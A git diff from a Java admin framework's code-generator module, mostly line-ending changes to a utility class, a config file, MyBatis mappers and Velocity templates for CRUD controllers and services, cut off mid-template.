+ importList.add("java.math.BigDecimal"); + } else if (!column.isSuperColumn() && "imageUpload".equals(column.getHtmlType())) { + importList.add("org.dromara.common.translation.annotation.Translation"); + importList.add("org.dromara.common.translation.constant.TransConstant"); + } + } + return importList; + } + + /** + * 根据列类型获取字典组 + * + * @param genTable 业务表对象 + * @return 返回字典组 + */ + public static String getDicts(GenTable genTable) { + List columns = genTable.getColumns(); + Set dicts = new HashSet<>(); + addDicts(dicts, columns); + return StringUtils.join(dicts, ", "); + } + + /** + * 添加字典列表 + * + * @param dicts 字典列表 + * @param columns 列集合 + */ + public static void addDicts(Set dicts, List columns) { + for (GenTableColumn column : columns) { + if (!column.isSuperColumn() && StringUtils.isNotEmpty(column.getDictType()) && StringUtils.equalsAny( + column.getHtmlType(), + new String[] { GenConstants.HTML_SELECT, GenConstants.HTML_RADIO, GenConstants.HTML_CHECKBOX })) { + dicts.add("'" + column.getDictType() + "'"); + } + } + } + + /** + * 获取权限前缀 + * + * @param moduleName 模块名称 + * @param businessName 业务名称 + * @return 返回权限前缀 + */ + public static String getPermissionPrefix(String moduleName, String businessName) { + return StringUtils.format("{}:{}", moduleName, businessName); + } + + /** + * 获取上级菜单ID字段 + * + * @param paramsObj 生成其他选项 + * @return 上级菜单ID字段 + */ + public static String getParentMenuId(Dict paramsObj) { + if (CollUtil.isNotEmpty(paramsObj) && paramsObj.containsKey(GenConstants.PARENT_MENU_ID) + && StringUtils.isNotEmpty(paramsObj.getStr(GenConstants.PARENT_MENU_ID))) { + return paramsObj.getStr(GenConstants.PARENT_MENU_ID); + } + return DEFAULT_PARENT_MENU_ID; + } + + /** + * 获取树编码 + * + * @param paramsObj 生成其他选项 + * @return 树编码 + */ + public static String getTreecode(Map paramsObj) { + if (CollUtil.isNotEmpty(paramsObj) && paramsObj.containsKey(GenConstants.TREE_CODE)) { + return StringUtils.toCamelCase(Convert.toStr(paramsObj.get(GenConstants.TREE_CODE))); + } + return StringUtils.EMPTY; + } + + /** + * 获取树父编码 + * + * @param paramsObj 生成其他选项 + * @return 树父编码 + */ + public static String getTreeParentCode(Dict paramsObj) { + if (CollUtil.isNotEmpty(paramsObj) && paramsObj.containsKey(GenConstants.TREE_PARENT_CODE)) { + return StringUtils.toCamelCase(paramsObj.getStr(GenConstants.TREE_PARENT_CODE)); + } + return StringUtils.EMPTY; + } + + /** + * 获取树名称 + * + * @param paramsObj 生成其他选项 + * @return 树名称 + */ + public static String getTreeName(Dict paramsObj) { + if (CollUtil.isNotEmpty(paramsObj) && paramsObj.containsKey(GenConstants.TREE_NAME)) { + return StringUtils.toCamelCase(paramsObj.getStr(GenConstants.TREE_NAME)); + } + return StringUtils.EMPTY; + } + + /** + * 获取需要在哪一列上面显示展开按钮 + * + * @param genTable 业务表对象 + * @return 展开按钮列序号 + */ + public static int getExpandColumn(GenTable genTable) { + String options = genTable.getOptions(); + Dict paramsObj = JsonUtils.parseMap(options); + String treeName = paramsObj.getStr(GenConstants.TREE_NAME); + int num = 0; + for (GenTableColumn column : genTable.getColumns()) { + if (column.isList()) { + num++; + String columnName = column.getColumnName(); + if (columnName.equals(treeName)) { + break; + } + } + } + return num; + } +} diff --git a/ruoyi-modules/ruoyi-generator/src/main/resources/generator.yml b/ruoyi-modules/ruoyi-generator/src/main/resources/generator.yml index 45f8ea0..7c6f414 100644 --- a/ruoyi-modules/ruoyi-generator/src/main/resources/generator.yml +++ b/ruoyi-modules/ruoyi-generator/src/main/resources/generator.yml @@ -1,10 +1,10 @@ -# 代码生成 -gen: - # 作者 - author: Maosw - # 默认生成包路径 system 需改成自己的模块名称 如 system monitor tool - packageName: org.dromara.work - # 自动去除表前缀,默认是false - autoRemovePre: false - # 表前缀(生成类名不会包含表前缀,多个用逗号分隔) - tablePrefix: tp_ +# 代码生成 +gen: + # 作者 + author: Maosw + # 默认生成包路径 system 需改成自己的模块名称 如 system monitor tool + packageName: org.dromara.work + # 自动去除表前缀,默认是false + autoRemovePre: false + # 表前缀(生成类名不会包含表前缀,多个用逗号分隔) + tablePrefix: tp_ diff --git a/ruoyi-modules/ruoyi-generator/src/main/resources/mapper/generator/GenTableColumnMapper.xml b/ruoyi-modules/ruoyi-generator/src/main/resources/mapper/generator/GenTableColumnMapper.xml index fc1c610..218fe26 100644 --- a/ruoyi-modules/ruoyi-generator/src/main/resources/mapper/generator/GenTableColumnMapper.xml +++ b/ruoyi-modules/ruoyi-generator/src/main/resources/mapper/generator/GenTableColumnMapper.xml @@ -1,10 +1,10 @@ - - - - - - - - + + + + + + + + diff --git a/ruoyi-modules/ruoyi-generator/src/main/resources/mapper/generator/GenTableMapper.xml b/ruoyi-modules/ruoyi-generator/src/main/resources/mapper/generator/GenTableMapper.xml index 78aa852..b6eab21 100644 --- a/ruoyi-modules/ruoyi-generator/src/main/resources/mapper/generator/GenTableMapper.xml +++ b/ruoyi-modules/ruoyi-generator/src/main/resources/mapper/generator/GenTableMapper.xml @@ -1,42 +1,42 @@ - - - - - - - - - - - - - - - - SELECT t.table_id, t.data_name, t.table_name, t.table_comment, t.sub_table_name, t.sub_table_fk_name, t.class_name, t.tpl_category, t.package_name, t.module_name, t.business_name, t.function_name, t.function_author, t.gen_type, t.gen_path, t.options, t.remark, - c.column_id, c.column_name, c.column_comment, c.column_type, c.java_type, c.java_field, c.is_pk, c.is_increment, c.is_required, c.is_insert, c.is_edit, c.is_list, c.is_query, c.query_type, c.html_type, c.dict_type, c.sort - FROM gen_table t - LEFT JOIN gen_table_column c ON t.table_id = c.table_id - - - - - - - - - - + + + + + + + + + + + + + + + + SELECT t.table_id, t.data_name, t.table_name, t.table_comment, t.sub_table_name, t.sub_table_fk_name, t.class_name, t.tpl_category, t.package_name, t.module_name, t.business_name, t.function_name, t.function_author, t.gen_type, t.gen_path, t.options, t.remark, + c.column_id, c.column_name, c.column_comment, c.column_type, c.java_type, c.java_field, c.is_pk, c.is_increment, c.is_required, c.is_insert, c.is_edit, c.is_list, c.is_query, c.query_type, c.html_type, c.dict_type, c.sort + FROM gen_table t + LEFT JOIN gen_table_column c ON t.table_id = c.table_id + + + + + + + + + + diff --git a/ruoyi-modules/ruoyi-generator/src/main/resources/mapper/package-info.md b/ruoyi-modules/ruoyi-generator/src/main/resources/mapper/package-info.md index c938b1e..22087fa 100644 --- a/ruoyi-modules/ruoyi-generator/src/main/resources/mapper/package-info.md +++ b/ruoyi-modules/ruoyi-generator/src/main/resources/mapper/package-info.md @@ -1,3 +1,3 @@ -java包使用 `.` 分割 resource 目录使用 `/` 分割 -
+java包使用 `.` 分割 resource 目录使用 `/` 分割 +
此文件目的 防止文件夹粘连找不到 `xml` 文件 \ No newline at end of file diff --git a/ruoyi-modules/ruoyi-generator/src/main/resources/vm/java/bo.java.vm b/ruoyi-modules/ruoyi-generator/src/main/resources/vm/java/bo.java.vm index 511d37c..810a2a5 100644 --- a/ruoyi-modules/ruoyi-generator/src/main/resources/vm/java/bo.java.vm +++ b/ruoyi-modules/ruoyi-generator/src/main/resources/vm/java/bo.java.vm @@ -1,50 +1,50 @@ -package ${packageName}.domain.bo; - -import ${packageName}.domain.${ClassName}; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import lombok.EqualsAndHashCode; -import jakarta.validation.constraints.*; -#foreach ($import in $importList) -import ${import}; -#end - -/** - * ${functionName}业务对象 ${tableName} - * - * @author ${author} - * @date ${datetime} - */ -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = ${ClassName}.class, reverseConvertGenerate = false) -public class ${ClassName}Bo extends BaseEntity { - -#foreach ($column in $columns) -#if(!$table.isSuperColumn($column.javaField) && ($column.query || $column.insert || $column.edit)) - /** - * $column.columnComment - */ -#if($column.insert && $column.edit) -#set($Group="AddGroup.class, EditGroup.class") -#elseif($column.insert) -#set($Group="AddGroup.class") -#elseif($column.edit) -#set($Group="EditGroup.class") -#end -#if($column.required) -#if($column.javaType == 'String') - @NotBlank(message = "$column.columnComment不能为空", groups = { $Group }) -#else - @NotNull(message = "$column.columnComment不能为空", groups = { $Group }) -#end -#end - private $column.javaType $column.javaField; - -#end -#end - -} +package ${packageName}.domain.bo; + +import ${packageName}.domain.${ClassName}; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import lombok.EqualsAndHashCode; +import jakarta.validation.constraints.*; +#foreach ($import in $importList) +import ${import}; +#end + +/** + * ${functionName}业务对象 ${tableName} + * + * @author ${author} + * @date ${datetime} + */ +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = ${ClassName}.class, reverseConvertGenerate = false) +public class ${ClassName}Bo extends BaseEntity { + +#foreach ($column in $columns) +#if(!$table.isSuperColumn($column.javaField) && ($column.query || $column.insert || $column.edit)) + /** + * $column.columnComment + */ +#if($column.insert && $column.edit) +#set($Group="AddGroup.class, EditGroup.class") +#elseif($column.insert) +#set($Group="AddGroup.class") +#elseif($column.edit) +#set($Group="EditGroup.class") +#end +#if($column.required) +#if($column.javaType == 'String') + @NotBlank(message = "$column.columnComment不能为空", groups = { $Group }) +#else + @NotNull(message = "$column.columnComment不能为空", groups = { $Group }) +#end +#end + private $column.javaType $column.javaField; + +#end +#end + +} diff --git a/ruoyi-modules/ruoyi-generator/src/main/resources/vm/java/controller.java.vm b/ruoyi-modules/ruoyi-generator/src/main/resources/vm/java/controller.java.vm index 6438971..d7cf893 100644 --- a/ruoyi-modules/ruoyi-generator/src/main/resources/vm/java/controller.java.vm +++ b/ruoyi-modules/ruoyi-generator/src/main/resources/vm/java/controller.java.vm @@ -1,115 +1,115 @@ -package ${packageName}.controller; - -import java.util.List; - -import lombok.RequiredArgsConstructor; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.*; -import cn.dev33.satoken.annotation.SaCheckPermission; -import org.springframework.web.bind.annotation.*; -import org.springframework.validation.annotation.Validated; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.web.core.BaseController; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.excel.utils.ExcelUtil; -import ${packageName}.domain.vo.${ClassName}Vo; -import ${packageName}.domain.bo.${ClassName}Bo; -import ${packageName}.service.I${ClassName}Service; -#if($table.crud) -import org.dromara.common.mybatis.core.page.TableDataInfo; -#elseif($table.tree) -#end - -/** - * ${functionName} - * - * @author ${author} - * @date ${datetime} - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/${moduleName}/${businessName}") -public class ${ClassName}Controller extends BaseController { - - private final I${ClassName}Service ${className}Service; - - /** - * 查询${functionName}列表 - */ - @SaCheckPermission("${permissionPrefix}:list") - @GetMapping("/list") -#if($table.crud) - public TableDataInfo<${ClassName}Vo> list(${ClassName}Bo bo, PageQuery pageQuery) { - return ${className}Service.queryPageList(bo, pageQuery); - } -#elseif($table.tree) - public R> list(${ClassName}Bo bo) { - List<${ClassName}Vo> list = ${className}Service.queryList(bo); - return R.ok(list); - } -#end - - /** - * 导出${functionName}列表 - */ - @SaCheckPermission("${permissionPrefix}:export") - @Log(title = "${functionName}", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(${ClassName}Bo bo, HttpServletResponse response) { - List<${ClassName}Vo> list = ${className}Service.queryList(bo); - ExcelUtil.exportExcel(list, "${functionName}", ${ClassName}Vo.class, response); - } - - /** - * 获取${functionName}详细信息 - * - * @param ${pkColumn.javaField} 主键 - */ - @SaCheckPermission("${permissionPrefix}:query") - @GetMapping("/{${pkColumn.javaField}}") - public R<${ClassName}Vo> getInfo(@NotNull(message = "主键不能为空") - @PathVariable ${pkColumn.javaType} ${pkColumn.javaField}) { - return R.ok(${className}Service.queryById(${pkColumn.javaField})); - } - - /** - * 新增${functionName} - */ - @SaCheckPermission("${permissionPrefix}:add") - @Log(title = "${functionName}", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody ${ClassName}Bo bo) { - return toAjax(${className}Service.insertByBo(bo)); - } - - /** - * 修改${functionName} - */ - @SaCheckPermission("${permissionPrefix}:edit") - @Log(title = "${functionName}", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody ${ClassName}Bo bo) { - return toAjax(${className}Service.updateByBo(bo)); - } - - /** - * 删除${functionName} - * - * @param ${pkColumn.javaField}s 主键串 - */ - @SaCheckPermission("${permissionPrefix}:remove") - @Log(title = "${functionName}", businessType = BusinessType.DELETE) - @DeleteMapping("/{${pkColumn.javaField}s}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable ${pkColumn.javaType}[] ${pkColumn.javaField}s) { - return toAjax(${className}Service.deleteWithValidByIds(List.of(${pkColumn.javaField}s), true)); - } -} +package ${packageName}.controller; + +import java.util.List; + +import lombok.RequiredArgsConstructor; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.*; +import cn.dev33.satoken.annotation.SaCheckPermission; +import org.springframework.web.bind.annotation.*; +import org.springframework.validation.annotation.Validated; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.web.core.BaseController; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.excel.utils.ExcelUtil; +import ${packageName}.domain.vo.${ClassName}Vo; +import ${packageName}.domain.bo.${ClassName}Bo; +import ${packageName}.service.I${ClassName}Service; +#if($table.crud) +import org.dromara.common.mybatis.core.page.TableDataInfo; +#elseif($table.tree) +#end + +/** + * ${functionName} + * + * @author ${author} + * @date ${datetime} + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/${moduleName}/${businessName}") +public class ${ClassName}Controller extends BaseController { + + private final I${ClassName}Service ${className}Service; + + /** + * 查询${functionName}列表 + */ + @SaCheckPermission("${permissionPrefix}:list") + @GetMapping("/list") +#if($table.crud) + public TableDataInfo<${ClassName}Vo> list(${ClassName}Bo bo, PageQuery pageQuery) { + return ${className}Service.queryPageList(bo, pageQuery); + } +#elseif($table.tree) + public R> list(${ClassName}Bo bo) { + List<${ClassName}Vo> list = ${className}Service.queryList(bo); + return R.ok(list); + } +#end + + /** + * 导出${functionName}列表 + */ + @SaCheckPermission("${permissionPrefix}:export") + @Log(title = "${functionName}", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(${ClassName}Bo bo, HttpServletResponse response) { + List<${ClassName}Vo> list = ${className}Service.queryList(bo); + ExcelUtil.exportExcel(list, "${functionName}", ${ClassName}Vo.class, response); + } + + /** + * 获取${functionName}详细信息 + * + * @param ${pkColumn.javaField} 主键 + */ + @SaCheckPermission("${permissionPrefix}:query") + @GetMapping("/{${pkColumn.javaField}}") + public R<${ClassName}Vo> getInfo(@NotNull(message = "主键不能为空") + @PathVariable ${pkColumn.javaType} ${pkColumn.javaField}) { + return R.ok(${className}Service.queryById(${pkColumn.javaField})); + } + + /** + * 新增${functionName} + */ + @SaCheckPermission("${permissionPrefix}:add") + @Log(title = "${functionName}", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody ${ClassName}Bo bo) { + return toAjax(${className}Service.insertByBo(bo)); + } + + /** + * 修改${functionName} + */ + @SaCheckPermission("${permissionPrefix}:edit") + @Log(title = "${functionName}", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody ${ClassName}Bo bo) { + return toAjax(${className}Service.updateByBo(bo)); + } + + /** + * 删除${functionName} + * + * @param ${pkColumn.javaField}s 主键串 + */ + @SaCheckPermission("${permissionPrefix}:remove") + @Log(title = "${functionName}", businessType = BusinessType.DELETE) + @DeleteMapping("/{${pkColumn.javaField}s}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable ${pkColumn.javaType}[] ${pkColumn.javaField}s) { + return toAjax(${className}Service.deleteWithValidByIds(List.of(${pkColumn.javaField}s), true)); + } +} diff --git a/ruoyi-modules/ruoyi-generator/src/main/resources/vm/java/domain.java.vm b/ruoyi-modules/ruoyi-generator/src/main/resources/vm/java/domain.java.vm index 205fb73..9767d1e 100644 --- a/ruoyi-modules/ruoyi-generator/src/main/resources/vm/java/domain.java.vm +++ b/ruoyi-modules/ruoyi-generator/src/main/resources/vm/java/domain.java.vm @@ -1,60 +1,60 @@ -package ${packageName}.domain; - -#foreach ($column in $columns) -#if($column.javaField=='tenantId') -#set($IsTenant=1) -#end -#end -#if($IsTenant==1) -import org.dromara.common.tenant.core.TenantEntity; -#else -import org.dromara.common.mybatis.core.domain.BaseEntity; -#end -import com.baomidou.mybatisplus.annotation.*; -import lombok.Data; -import lombok.EqualsAndHashCode; -#foreach ($import in $importList) -import ${import}; -#end - -import java.io.Serial; - -/** - * ${functionName}对象 ${tableName} - * - * @author ${author} - * @date ${datetime} - */ -#if($IsTenant==1) -#set($Entity="TenantEntity") -#else -#set($Entity="BaseEntity") -#end -@Data -@EqualsAndHashCode(callSuper = true) -@TableName("${tableName}") -public class ${ClassName} extends ${Entity} { - - @Serial - private static final long serialVersionUID = 1L; - -#foreach ($column in $columns) -#if(!$table.isSuperColumn($column.javaField)) - /** - * $column.columnComment - */ -#if($column.javaField=='delFlag') - @TableLogic -#end -#if($column.javaField=='version') - @Version -#end -#if($column.isPk==1) - @TableId(value = "$column.columnName") -#end - private $column.javaType $column.javaField; - -#end -#end - -} +package ${packageName}.domain; + +#foreach ($column in $columns) +#if($column.javaField=='tenantId') +#set($IsTenant=1) +#end +#end +#if($IsTenant==1) +import org.dromara.common.tenant.core.TenantEntity; +#else +import org.dromara.common.mybatis.core.domain.BaseEntity; +#end +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +#foreach ($import in $importList) +import ${import}; +#end + +import java.io.Serial; + +/** + * ${functionName}对象 ${tableName} + * + * @author ${author} + * @date ${datetime} + */ +#if($IsTenant==1) +#set($Entity="TenantEntity") +#else +#set($Entity="BaseEntity") +#end +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("${tableName}") +public class ${ClassName} extends ${Entity} { + + @Serial + private static final long serialVersionUID = 1L; + +#foreach ($column in $columns) +#if(!$table.isSuperColumn($column.javaField)) + /** + * $column.columnComment + */ +#if($column.javaField=='delFlag') + @TableLogic +#end +#if($column.javaField=='version') + @Version +#end +#if($column.isPk==1) + @TableId(value = "$column.columnName") +#end + private $column.javaType $column.javaField; + +#end +#end + +} diff --git a/ruoyi-modules/ruoyi-generator/src/main/resources/vm/java/mapper.java.vm b/ruoyi-modules/ruoyi-generator/src/main/resources/vm/java/mapper.java.vm index 0922401..696012d 100644 --- a/ruoyi-modules/ruoyi-generator/src/main/resources/vm/java/mapper.java.vm +++ b/ruoyi-modules/ruoyi-generator/src/main/resources/vm/java/mapper.java.vm @@ -1,15 +1,15 @@ -package ${packageName}.mapper; - -import ${packageName}.domain.${ClassName}; -import ${packageName}.domain.vo.${ClassName}Vo; -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; - -/** - * ${functionName}Mapper接口 - * - * @author ${author} - * @date ${datetime} - */ -public interface ${ClassName}Mapper extends BaseMapperPlus<${ClassName}, ${ClassName}Vo> { - -} +package ${packageName}.mapper; + +import ${packageName}.domain.${ClassName}; +import ${packageName}.domain.vo.${ClassName}Vo; +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; + +/** + * ${functionName}Mapper接口 + * + * @author ${author} + * @date ${datetime} + */ +public interface ${ClassName}Mapper extends BaseMapperPlus<${ClassName}, ${ClassName}Vo> { + +} diff --git a/ruoyi-modules/ruoyi-generator/src/main/resources/vm/java/service.java.vm b/ruoyi-modules/ruoyi-generator/src/main/resources/vm/java/service.java.vm index 4db9030..ae6f588 100644 --- a/ruoyi-modules/ruoyi-generator/src/main/resources/vm/java/service.java.vm +++ b/ruoyi-modules/ruoyi-generator/src/main/resources/vm/java/service.java.vm @@ -1,72 +1,72 @@ -package ${packageName}.service; - -import ${packageName}.domain.vo.${ClassName}Vo; -import ${packageName}.domain.bo.${ClassName}Bo; -#if($table.crud) -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.mybatis.core.page.PageQuery; -#end - -import java.util.Collection; -import java.util.List; - -/** - * ${functionName}Service接口 - * - * @author ${author} - * @date ${datetime} - */ -public interface I${ClassName}Service { - - /** - * 查询${functionName} - * - * @param ${pkColumn.javaField} 主键 - * @return ${functionName} - */ - ${ClassName}Vo queryById(${pkColumn.javaType} ${pkColumn.javaField}); - -#if($table.crud) - /** - * 分页查询${functionName}列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return ${functionName}分页列表 - */ - TableDataInfo<${ClassName}Vo> queryPageList(${ClassName}Bo bo, PageQuery pageQuery); -#end - - /** - * 查询符合条件的${functionName}列表 - * - * @param bo 查询条件 - * @return ${functionName}列表 - */ - List<${ClassName}Vo> queryList(${ClassName}Bo bo); - - /** - * 新增${functionName} - * - * @param bo ${functionName} - * @return 是否新增成功 - */ - Boolean insertByBo(${ClassName}Bo bo); - - /** - * 修改${functionName} - * - * @param bo ${functionName} - * @return 是否修改成功 - */ - Boolean updateByBo(${ClassName}Bo bo); - - /** - * 校验并批量删除${functionName}信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - Boolean deleteWithValidByIds(Collection<${pkColumn.javaType}> ids, Boolean isValid); -} +package ${packageName}.service; + +import ${packageName}.domain.vo.${ClassName}Vo; +import ${packageName}.domain.bo.${ClassName}Bo; +#if($table.crud) +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.mybatis.core.page.PageQuery; +#end + +import java.util.Collection; +import java.util.List; + +/** + * ${functionName}Service接口 + * + * @author ${author} + * @date ${datetime} + */ +public interface I${ClassName}Service { + + /** + * 查询${functionName} + * + * @param ${pkColumn.javaField} 主键 + * @return ${functionName} + */ + ${ClassName}Vo queryById(${pkColumn.javaType} ${pkColumn.javaField}); + +#if($table.crud) + /** + * 分页查询${functionName}列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return ${functionName}分页列表 + */ + TableDataInfo<${ClassName}Vo> queryPageList(${ClassName}Bo bo, PageQuery pageQuery); +#end + + /** + * 查询符合条件的${functionName}列表 + * + * @param bo 查询条件 + * @return ${functionName}列表 + */ + List<${ClassName}Vo> queryList(${ClassName}Bo bo); + + /** + * 新增${functionName} + * + * @param bo ${functionName} + * @return 是否新增成功 + */ + Boolean insertByBo(${ClassName}Bo bo); + + /** + * 修改${functionName} + * + * @param bo ${functionName} + * @return 是否修改成功 + */ + Boolean updateByBo(${ClassName}Bo bo); + + /** + * 校验并批量删除${functionName}信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + Boolean deleteWithValidByIds(Collection<${pkColumn.javaType}> ids, Boolean isValid); +} diff --git a/ruoyi-modules/ruoyi-generator/src/main/resources/vm/java/serviceImpl.java.vm b/ruoyi-modules/ruoyi-generator/src/main/resources/vm/java/serviceImpl.java.vm index 48cc8b1..35f415d 100644 --- a/ruoyi-modules/ruoyi-generator/src/main/resources/vm/java/serviceImpl.java.vm +++ b/ruoyi-modules/ruoyi-generator/src/main/resources/vm/java/serviceImpl.java.vm @@ -1,158 +1,158 @@ -package ${packageName}.service.impl; - -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -#if($table.crud) -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.mybatis.core.page.PageQuery; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -#end -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import lombok.RequiredArgsConstructor; -import org.springframework.stereotype.Service; -import ${packageName}.domain.bo.${ClassName}Bo; -import ${packageName}.domain.vo.${ClassName}Vo; -import ${packageName}.domain.${ClassName}; -import ${packageName}.mapper.${ClassName}Mapper; -import ${packageName}.service.I${ClassName}Service; - -import java.util.List; -import java.util.Map; -import java.util.Collection; - -/** - * ${functionName}Service业务层处理 - * - * @author ${author} - * @date ${datetime} - */ -@RequiredArgsConstructor -@Service -public class ${ClassName}ServiceImpl implements I${ClassName}Service { - - private final ${ClassName}Mapper baseMapper; - - /** - * 查询${functionName} - * - * @param ${pkColumn.javaField} 主键 - * @return ${functionName} - */ - @Override - public ${ClassName}Vo queryById(${pkColumn.javaType} ${pkColumn.javaField}){ - return baseMapper.selectVoById(${pkColumn.javaField}); - } - -#if($table.crud) - /** - * 分页查询${functionName}列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return ${functionName}分页列表 - */ - @Override - public TableDataInfo<${ClassName}Vo> queryPageList(${ClassName}Bo bo, PageQuery pageQuery) { - LambdaQueryWrapper<${ClassName}> lqw = buildQueryWrapper(bo); - Page<${ClassName}Vo> result = baseMapper.selectVoPage(pageQuery.build(), lqw); - return TableDataInfo.build(result); - } -#end - - /** - * 查询符合条件的${functionName}列表 - * - * @param bo 查询条件 - * @return ${functionName}列表 - */ - @Override - public List<${ClassName}Vo> queryList(${ClassName}Bo bo) { - LambdaQueryWrapper<${ClassName}> lqw = buildQueryWrapper(bo); - return baseMapper.selectVoList(lqw); - } - - private LambdaQueryWrapper<${ClassName}> buildQueryWrapper(${ClassName}Bo bo) { - Map params = bo.getParams(); - LambdaQueryWrapper<${ClassName}> lqw = Wrappers.lambdaQuery(); -#foreach($column in $columns) -#if($column.query) -#set($queryType=$column.queryType) -#set($javaField=$column.javaField) -#set($javaType=$column.javaType) -#set($columnName=$column.columnName) -#set($AttrName=$column.javaField.substring(0,1).toUpperCase() + ${column.javaField.substring(1)}) -#set($mpMethod=$column.queryType.toLowerCase()) -#if($queryType != 'BETWEEN') -#if($javaType == 'String') -#set($condition='StringUtils.isNotBlank(bo.get'+$AttrName+'())') -#else -#set($condition='bo.get'+$AttrName+'() != null') -#end - lqw.$mpMethod($condition, ${ClassName}::get$AttrName, bo.get$AttrName()); -#else - lqw.between(params.get("begin$AttrName") != null && params.get("end$AttrName") != null, - ${ClassName}::get$AttrName ,params.get("begin$AttrName"), params.get("end$AttrName")); -#end -#end -#set($AttrName=$column.javaField.substring(0,1).toUpperCase() + ${column.javaField.substring(1)}) -#if($column.isPk==1) - lqw.orderByAsc(${ClassName}::get$AttrName); -#end -#end - return lqw; - } - - /** - * 新增${functionName} - * - * @param bo ${functionName} - * @return 是否新增成功 - */ - @Override - public Boolean insertByBo(${ClassName}Bo bo) { - ${ClassName} add = MapstructUtils.convert(bo, ${ClassName}.class); - validEntityBeforeSave(add); - boolean flag = baseMapper.insert(add) > 0; -#set($pk=$pkColumn.javaField.substring(0,1).toUpperCase() + ${pkColumn.javaField.substring(1)}) - if (flag) { - bo.set$pk(add.get$pk()); - } - return flag; - } - - /** - * 修改${functionName} - * - * @param bo ${functionName} - * @return 是否修改成功 - */ - @Override - public Boolean updateByBo(${ClassName}Bo bo) { - ${ClassName} update = MapstructUtils.convert(bo, ${ClassName}.class); - validEntityBeforeSave(update); - return baseMapper.updateById(update) > 0; - } - - /** - * 保存前的数据校验 - */ - private void validEntityBeforeSave(${ClassName} entity){ - //TODO 做一些数据校验,如唯一约束 - } - - /** - * 校验并批量删除${functionName}信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - @Override - public Boolean deleteWithValidByIds(Collection<${pkColumn.javaType}> ids, Boolean isValid) { - if(isValid){ - //TODO 做一些业务上的校验,判断是否需要校验 - } - return baseMapper.deleteByIds(ids) > 0; - } -} +package ${packageName}.service.impl; + +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +#if($table.crud) +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.mybatis.core.page.PageQuery; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +#end +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import lombok.RequiredArgsConstructor; +import org.springframework.stereotype.Service; +import ${packageName}.domain.bo.${ClassName}Bo; +import ${packageName}.domain.vo.${ClassName}Vo; +import ${packageName}.domain.${ClassName}; +import ${packageName}.mapper.${ClassName}Mapper; +import ${packageName}.service.I${ClassName}Service; + +import java.util.List; +import java.util.Map; +import java.util.Collection; + +/** + * ${functionName}Service业务层处理 + * + * @author ${author} + * @date ${datetime} + */ +@RequiredArgsConstructor +@Service +public class ${ClassName}ServiceImpl implements I${ClassName}Service { + + private final ${ClassName}Mapper baseMapper; + + /** + * 查询${functionName} + * + * @param ${pkColumn.javaField} 主键 + * @return ${functionName} + */ + @Override + public ${ClassName}Vo queryById(${pkColumn.javaType} ${pkColumn.javaField}){ + return baseMapper.selectVoById(${pkColumn.javaField}); + } + +#if($table.crud) + /** + * 分页查询${functionName}列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return ${functionName}分页列表 + */ + @Override + public TableDataInfo<${ClassName}Vo> queryPageList(${ClassName}Bo bo, PageQuery pageQuery) { + 